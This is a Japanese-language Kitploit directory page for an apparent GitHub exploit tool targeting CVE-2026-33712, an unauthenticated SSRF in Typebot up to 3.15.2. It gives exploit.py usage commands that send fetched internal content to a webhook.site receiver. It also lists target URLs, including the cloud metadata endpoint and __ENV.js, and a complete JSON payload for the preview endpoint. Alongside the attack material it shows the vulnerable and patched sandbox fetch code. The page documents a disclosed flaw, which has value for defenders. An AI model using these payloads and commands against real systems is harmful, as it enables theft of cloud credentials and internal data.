Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33712 — CVE-2026-33712 - Typebot <= 3.15.2 未認証SSRF(isolated-vmサンドボックス経由のfetch) | Kitploit
ツール/GitHubGitHub/portbuster1337/cve-2026-33712
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHubportbuster1337/cve-2026-33712

CVE-2026-33712

CVE-2026-33712 - Typebot <= 3.15.2 未認証SSRF(isolated-vmサンドボックス経由のfetch)

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-33712 - Typebot 認証されていないSSRF

説明

Typebot <= 3.15.2 (3.16.0で修正) には、プレビューチャットエンドポイントに認証されていない Server-Side Request Forgery (SSRF) 脆弱性が存在します。

エンドポイント: POST /api/v1/typebots/{typebotId}/preview/startChat

プレビューエンドポイントは、ユーザーが指定した typebot 定義とサーバーサイドの Code ブロックを受け入れます。isolated-vm サンドボックス内で公開されている fetch() 関数は、通常の HTTP Request ブロックを保護する SSRF 検証 validateHttpReqUrl() なしで Node.js ネイティブの fetch を呼び出します。これにより、すべての SSRF 緩和策がバイパスされます。

免責事項

このツールは教育目的および許可されたセキュリティテストのために提供されています。自分が所有していない、または明示的な許可を得ていないシステムに対する不正使用は違法です。作者はこのツールの誤用または損害について一切の責任を負いません。

影響

  • クラウド認証情報の窃取 (AWS IMDS、GCP メタデータ、Azure IMDS)
  • Docker コンテナやプライベートサブネットへの内部ネットワークアクセス
  • 内部サービスからのデータ流出
  • __ENV.js 経由での SMTP_FROM / 管理者メールの漏洩

ファイル

ファイル説明
exploit.pyメインのエクスプロイトスクリプト
endpoints.txt1行に1つのURL — スキャンするSSRFターゲット
requirements.txtPython 依存関係

使用方法

root@kitploit:~
pip install -r requirements.txt

# 単一のSSRFリクエスト
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid

# endpoints.txt からすべてのURLをスキャン
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan

# ビルダーの __ENV.js からビューアURLを自動検出
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan

# 事前チェックをスキップして強制実行
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force

引数

引数説明
-t / --targetTypebot インスタンスのURL(ビューアまたはビルダー)。スキームはデフォルトで http:// になります
-u / --urlSSRF経由で取得する内部URL(シングルモード)
-w / --webhook流出データの送信先Webhook URL(または環境変数 WEBHOOK_URL)
--scanendpoints.txt のすべてのURLをスキャン
--detect-viewerターゲットの /__ENV.js をプローブして NEXT_PUBLIC_VIEWER_URL を検出し、それを使用
--force事前チェックをスキップして強制実行
--timeoutリクエストのタイムアウト(デフォルト: 20秒)
--delayスキャンリクエスト間の遅延(デフォルト: 0.3秒)

動作

  1. 自動スキーム — bot.example.com を http:// なしで渡すと自動的に先頭に追加されます。
  2. 事前チェック — リクエスト前に、スクリプトはターゲットをプローブし、vulnerable、patched(認証が必要)、または endpoint_missing(間違ったURL/バージョン)に分類します。--force が設定されていない限り、失敗すると早期終了します。
  3. スキャンモード — endpoints.txt を読み込み、各URLを反復処理し、コンテンツをWebhookに流出させます。
  4. 流出 — コンテンツはクエリパラメータではなくPOST本文としてWebhook URLに送信され、URL長制限を回避します。

endpoints.txt

各行に生のURLを1つ記述します。空白行は無視されます。コメントやカテゴリはありません。

root@kitploit:~
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/

脆弱なコードパス

packages/variables/src/executeFunction.ts では、isolated-vm サンドボックス内で公開されている fetch() は、もともとSSRF検証なしでNode.jsネイティブのfetchを呼び出していました:

root@kitploit:~
// 脆弱 (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
  new Reference(async (...fetchArgs) => {
    const [input, init] = fetchArgs;
    const res = await fetch(input, init);  // validateHttpReqUrl なし!
    return res.text();
  }),
});

// 修正済み (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
  new Reference(async (...fetchArgs) => {
    const [input, init] = fetchArgs;
    const request = new Request(input, init);
    await validateHttpReqUrl(request.url);  // SSRFチェック追加
    validateHttpReqHeaders(headers);
  }),
});

修正 (コミット d96f572) では、getTypebot() のチェック順序も変更され、カスタム typebot ショートカットの 前に 認証検証が実行されるようになり、ビューアのプレビューエンドポイントが procedureWithOptionalUser から protectedProcedure に移動されました。

ペイロード構造

root@kitploit:~
{
  "typebotId": "exploit-id",
  "typebot": {
    "version": "6",
    "id": "exploit-bot",
    "workspaceId": "test",
    "updatedAt": "2026-01-01T00:00:00.000Z",
    "groups": [
      {
        "id": "group-1", "title": "Start",
        "graphCoordinates": {"x": 0, "y": 0},
        "blocks": [
          {"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
        ]
      },
      {
        "id": "group-2", "title": "SSRF",
        "graphCoordinates": {"x": 200, "y": 0},
        "blocks": [
          {
            "id": "block-2", "type": "Code",
            "outgoingEdgeId": "edge-2",
            "options": {
              "name": "SSRF",
              "content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
              "isExecutedOnClient": false,
              "isUnsafe": true
            }
          }
        ]
      }
    ],
    "edges": [
      {"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
    ],
    "events": [
      {"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
    ],
    "variables": [
      {"id": "var-1", "name": "result", "value": null}
    ],
    "settings": {"general": {}},
    "theme": {"general": {}, "chat": {}}
  }
}

Important: サンドボックス内の fetch() は既に .text() を返すため、結果は 文字列 であり、Response オブジェクトではありません。

ツールをダウンロード